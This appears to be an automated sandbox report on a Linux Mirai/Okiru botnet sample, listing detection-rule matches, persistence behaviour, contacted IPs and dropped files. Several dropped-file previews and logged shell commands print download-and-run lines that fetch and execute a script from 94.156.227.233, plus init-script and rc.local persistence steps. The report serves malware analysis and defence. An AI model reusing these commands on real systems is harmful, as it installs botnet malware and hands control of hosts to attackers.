Source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.evad.linELF@0/9@0/0

Persistence and Installation Behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/x86_64.nn.elf (PID: 6255)

File: /etc/profile

Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/x86_64.nn.elf (PID: 6255)	File: /etc/rc.local	Jump to behavior
Source: /usr/bin/ln (PID: 6308)	File: /etc/rcS.d/S99system -> /etc/init.d/system	Jump to behavior
Source: /usr/bin/ln (PID: 6315)	File: /etc/rc.d/S99sh -> /etc/init.d/sh	Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/x86_64.nn.elf (PID: 6255)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6306)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6311)	File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6373/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6472/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6372/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6471/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6430/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6375/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6474/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6374/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6473/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6431/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6475/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6371/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6470/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6370/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/799/cmdline	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6425/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6447/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6469/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6369/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6446/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6468/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6405/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6449/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6448/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6426/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6429/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6428/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6461/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6460/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6089/cmdline	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6463/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6462/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6465/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6464/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6445/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6467/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6466/status	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6319)	File opened: /proc/6459/status	Jump to behavior

Source: /tmp/x86_64.nn.elf (PID: 6272)	Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6304)	Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6307)	Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6309)	Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6310)	Shell command executed: sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6312)	Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6314)	Shell command executed: sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1"	Jump to behavior

Source: /bin/sh (PID: 6306)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system			Jump to behavior
Source: /bin/sh (PID: 6311)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sh			Jump to behavior

Source: /bin/sh (PID: 6313)

Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d

Jump to behavior

Source: /bin/sh (PID: 6278)

Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service

Jump to behavior

Source: /tmp/x86_64.nn.elf (PID: 6255)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6306)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6311)	File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/x86_64.nn.elf (PID: 6255)	Writes shell script file to disk with an unusual file extension: /etc/init.d/system	Jump to dropped file
Source: /tmp/x86_64.nn.elf (PID: 6255)	Writes shell script file to disk with an unusual file extension: /etc/rc.local	Jump to dropped file
Source: /bin/sh (PID: 6309)	Writes shell script file to disk with an unusual file extension: /etc/init.d/sh	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/x86_64.nn.elf (PID: 6255)	File: /etc/init.d/system			Jump to dropped file
Source: /bin/sh (PID: 6309)	File: /etc/init.d/sh			Jump to dropped file

Sample deletes itself

Source: /tmp/x86_64.nn.elf (PID: 6255)

File: /tmp/x86_64.nn.elf

Jump to behavior

Source: x86_64.nn.elf, 6327.1.0000000000efd000.0000000000eff000.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: x86_64.nn.elf, 6327.1.0000000000efd000.0000000000eff000.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: x86_64.nn.elf, 6255.1.00007fff0efc5000.00007fff0efe6000.rw-.sdmp, x86_64.nn.elf, 6316.1.00007fff0efc5000.00007fff0efe6000.rw-.sdmp, x86_64.nn.elf, 6318.1.00007fff0efc5000.00007fff0efe6000.rw-.sdmp, x86_64.nn.elf, 6326.1.00007fff0efc5000.00007fff0efe6000.rw-.sdmp, x86_64.nn.elf, 6327.1.00007fff0efc5000.00007fff0efe6000.rw-.sdmp	Binary or memory string: qemu-

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match	File source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY

Yara detected Okiru

Source: Yara match	File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match	File source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6255, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6318, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6326, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6327, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match	File source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY

Yara detected Okiru

Source: Yara match	File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match	File source: 6316.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6255.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6326.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6318.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6327.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6255, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6318, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6326, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6327, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	1 Unix Shell Configuration Modification	1 Unix Shell Configuration Modification	1 Masquerading	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Data Manipulation
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Systemd Service	1 Systemd Service	2 File and Directory Permissions Modification	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Scripting	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
x86_64.nn.elf	39%	Virustotal		Browse
x86_64.nn.elf	42%	ReversingLabs	Linux.Backdoor.Mirai
x86_64.nn.elf	100%	Avira	EXP/ELF.Mirai.W
x86_64.nn.elf	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
/etc/init.d/sh	3%	ReversingLabs	Text.Browser.Generic
/etc/init.d/system	3%	ReversingLabs	Text.Browser.Generic
/etc/rc.local	0%	ReversingLabs
/etc/rc.local	0%	Virustotal		Browse

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://94.156.227.233/curl.sh	x86_64.nn.elf	false	high
http://94.156.227.233/lol.sh	x86_64.nn.elf	false	high
http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s	x86_64.nn.elf	false	high
http://94.156.227.233/	x86_64.nn.elf, sh.32.dr, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, custom.service.12.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
111.125.55.91	unknown	Japan	9614	OCTOitaCableTelecomColtdJP	false
154.216.19.139	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
62.225.116.100	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
122.159.244.47	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
191.141.13.246	unknown	Brazil	26615	TIMSABR	false
28.27.182.234	unknown	United States	7922	COMCAST-7922US	false
73.218.255.124	unknown	United States	7922	COMCAST-7922US	false
156.144.18.206	unknown	United States	3743	ARCEL-2US	false
215.52.26.4	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
47.141.90.29	unknown	United States	5650	FRONTIER-FRTRUS	false
94.156.227.234	unknown	Bulgaria	57463	NETIXBG	false
216.250.19.190	unknown	United States	26284	BADGER-INTERNET-INCUS	false
35.38.189.105	unknown	United States	36375	UMICH-AS-5US	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false
9.129.94.122	unknown	United States	3356	LEVEL3US	false
223.38.1.80	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
219.241.165.108	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
52.84.118.146	unknown	United States	16509	AMAZON-02US	false
53.236.44.244	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
103.196.5.144	unknown	India	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
116.88.3.27	unknown	Singapore	10091	STARHUB-CABLEStarHubLtdSG	false
45.126.195.192	unknown	Australia	137968	PSPL-AS-APPen10ServicesPtyLtdAU	false
205.181.36.236	unknown	United States	3356	LEVEL3US	false
6.211.13.65	unknown	United States	3356	LEVEL3US	false
18.242.255.3	unknown	United States	16509	AMAZON-02US	false
167.167.140.221	unknown	United States	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
204.76.192.171	unknown	United States	16957	IDAHOPOWER-NETWORKUS	false
213.55.245.14	unknown	Switzerland	15796	SALT-CH	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
154.216.19.139	tXcFA8apHU.exe	Get hash	malicious	Remcos	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
94.156.227.234	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
91.189.91.43	.i.elf	Get hash	malicious	Unknown	Browse
	spc.elf	Get hash	malicious	Unknown	Browse
	.i.elf	Get hash	malicious	Unknown	Browse
	tftp.elf	Get hash	malicious	Unknown	Browse
	violetx86.elf	Get hash	malicious	Unknown	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse
	bin.sh.elf	Get hash	malicious	Mirai	Browse
	php-fpm	Get hash	malicious	Unknown	Browse
	loligang.m68k.elf	Get hash	malicious	Mirai	Browse
	loligang.arm6.elf	Get hash	malicious	Mirai	Browse
91.189.91.42	.i.elf	Get hash	malicious	Unknown	Browse
	spc.elf	Get hash	malicious	Unknown	Browse
	.i.elf	Get hash	malicious	Unknown	Browse
	tftp.elf	Get hash	malicious	Unknown	Browse
	violetx86.elf	Get hash	malicious	Unknown	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse
	bin.sh.elf	Get hash	malicious	Mirai	Browse
	php-fpm	Get hash	malicious	Unknown	Browse
	loligang.m68k.elf	Get hash	malicious	Mirai	Browse
	loligang.arm6.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DTAGInternetserviceprovideroperationsDE	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	217.229.45.57
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	91.18.248.73
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	84.148.23.119
	b3astmode.sh4.elf	Get hash	malicious	Mirai	Browse	91.33.180.45
	b3astmode.sh4.elf	Get hash	malicious	Mirai	Browse	2.165.219.165
	b3astmode.spc.elf	Get hash	malicious	Mirai	Browse	217.247.221.226
	b3astmode.ppc.elf	Get hash	malicious	Mirai	Browse	79.237.170.124
	b3astmode.x86.elf	Get hash	malicious	Mirai	Browse	84.137.24.79
	jade.sh4.elf	Get hash	malicious	Mirai	Browse	62.156.228.137
	jade.arm.elf	Get hash	malicious	Mirai	Browse	31.245.105.247
OCTOitaCableTelecomColtdJP	.5r3fqt67ew531has4231.x86.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	203.213.171.132
	jmhgeojeri.elf	Get hash	malicious	Unknown	Browse	123.100.221.177
	loligang.mips-20241128-1536.elf	Get hash	malicious	Mirai	Browse	122.152.91.183
	x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	182.173.150.184
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	101.55.144.96
	jew.mips.elf	Get hash	malicious	Mirai	Browse	123.50.227.232
	nabarm.elf	Get hash	malicious	Unknown	Browse	122.152.89.158
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	203.213.162.121
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	101.55.163.9
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	203.213.171.139
SKHT-ASShenzhenKatherineHengTechnologyInformationCo	b3astmode.arm.elf	Get hash	malicious	Mirai	Browse	154.211.34.20
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	154.216.20.243
	file.exe	Get hash	malicious	Xmrig	Browse	154.216.20.243
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	154.216.20.243
	file.exe	Get hash	malicious	Xmrig	Browse	154.216.20.243
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	45.207.239.54
	Strait STS.vbs	Get hash	malicious	Remcos, GuLoader	Browse	154.216.18.216
	mips.elf	Get hash	malicious	Mirai	Browse	156.226.9.180
	https://u48551708.ct.sendgrid.net/ls/click?upn=u001.ztPEaTmy8WofhPYJ48HDSCunUq5pm5yTGRhe-2B0bVSngC8hMYiy6PgMy1xJOG8JJZaOsK-2FG9SE7UmhEzeQSXDmEf7Z3nlXZDH-2BW1HSMP6c8uYUvXDTaJRyLbPDV6bI3nnDyIlM0OJKevMwAF04rpfLmQEYS641NQTMU227kkOtBQgQK-2FNlHeN6DpPMLDgH6kuMS3X_2vbC1nrAFjePip8HYuHYOlkYXiy7Z-2FrO9MQN7lNoEgxRkovUJGAEvKvTFyRmFsa9AQlcDpFhpJzgHajMOC0yWTZOc2DdmxhrlyPvteyXbl8nlhAtf2p-2FHw4RnlZ8cxDY-2BWJeBsszGnsrXuNOI8LpL5ZYI3ad04OdxC8tHHA5tO-2Be1xS3Z9Z3VrOTM-2FT5ptoYnx5N-2FTYKQ13RZ-2FookVMhAtJ6OV43Zayd1qOmHGLwUI8-3D	Get hash	malicious	Phisher	Browse	154.216.20.188
	Reqt 83291.vbs	Get hash	malicious	Remcos, GuLoader	Browse	154.216.18.62

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
/etc/init.d/system	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
/etc/init.d/sh	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse

Created / dropped Files

/boot/bootcmd

Download File

Process:	/tmp/x86_64.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.663595298101345
Encrypted:	false
SSDEEP:	3:KPJRK+KFtSyLdjX48FIbILbaaFOdFXa5O:WJ8+KHSYZX48bbaaeXCO
MD5:	3290F4F4E0B77B577C59026DEF246CEE
SHA1:	C51EAE7170430B5697B881BE716280D1FAAA9147
SHA-256:	534E1753E7B5026C5F689F31942BD84E7869232A5CE24AE02B0A9647B3E2EDCD
SHA-512:	DFE561F390A0003C92D0528D418CADA2A84DD4585F838F4A37BDD1790C8B7E947AFD31B527E4F98AD55F49F4168F4574540CCFF2D2EE38BD2A3923DEB9FE6345
Malicious:	false
Reputation:	low
Preview:	run bootcmd_mmc0; /bin/sh && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

/etc/init.d/sh

Download File

Process:	/bin/sh
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	355
Entropy (8bit):	4.416220583499086
Encrypted:	false
SSDEEP:	6:h2Rk8d/Kd6Nx/SNAjDTZX48bJaJFCwWBvM1FnwfUMdNfabwHeJdxL/RuYHdSOovl:QRkobNxaNoPUJgjvM1F5KN+dRRucSOyl
MD5:	4C835AF4434E28E5B56D8CDFA8EE753D
SHA1:	B18DA30B2DF68AE4C788540CED328CA545C02F42
SHA-256:	CA0FAC03BB49D9F40E83353A3C85D27B8AD800B8A77F88D1B43025148672E28D
SHA-512:	877B96464C5D6AF38B84F8BE6ECDDA74A9703AA298A897B2EF8DEC9E9B929ECA2E8324979A80033B0E334820B15275E51C1E60EC5A26A7B379A2D8DA5BAC6162
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse
Reputation:	low
Preview:	#!/bin/sh.# /etc/init.d/sh..case "" in. start). echo 'Starting sh'. /bin/sh &. wget http://94.156.227.233/ -O /tmp/lol.sh. chmod +x /tmp/lol.sh. /tmp/lol.sh &. ;;. stop). echo 'Stopping sh'. killall sh. ;;. restart). sh stop. sh start. ;;. *). echo "Usage: sh {start\|stop\|restart}". exit 1. ;;.esac.exit 0.

/etc/init.d/system

Download File

Process:	/tmp/x86_64.nn.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	98
Entropy (8bit):	4.615605979741142
Encrypted:	false
SSDEEP:	3:TKH4v9+KFyFiLdjX48FIbILpaKB0dFLoKE0:h8KooZX48bzBeLXE0
MD5:	FE7F857A52EC42881A76D01D4A4A1C3C
SHA1:	6391FE715F06AB2D7E58D18A41ED3A358C7E820C
SHA-256:	20B80070DF0EDB6A011753C41051823E2F87C46A5493D6323BB5C023A19D2870
SHA-512:	4AA09F596ACE2DA18FE88DA2224681EAB2A4F77D005E2C67E97E9A0751C387F8DCCD8D1BB05644D75ED2F42959B6EE491D292F80CFEBB5D80EA5F0CE84C47816
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_32.nn.elf, Detection: malicious, Browse Filename: x86_64.nn.elf, Detection: malicious, Browse
Reputation:	low
Preview:	#!/bin/sh./bin/sh &.wget http://94.156.227.233/ -O /tmp/lol.sh.chmod +x /tmp/lol.sh./tmp/lol.sh &.

/etc/inittab

Download File

Process:	/tmp/x86_64.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	103
Entropy (8bit):	4.612417623467759
Encrypted:	false
SSDEEP:	3:nAWu5YFtSyLdjX48FIbILbaaFOdFXa5O:A6HSYZX48bbaaeXCO
MD5:	175C6814BBE06EB5816EFE3FE3934230
SHA1:	8C1A49BF7CA134E8AD0DDA70872367062BC600C5
SHA-256:	11CB198833B5FB514AF33682A7148F95AA28CAEA16908A27FA10D71DD272730E
SHA-512:	C1A6BC79D50EEED397A98329E7A2CD7486CBB36F9D3B25AEADA15473D10C31FC2F44D2029F5A174FC813E3BB6B974174850989BF2ADD642F4CD4F1D279B6B1F1
Malicious:	false
Reputation:	low
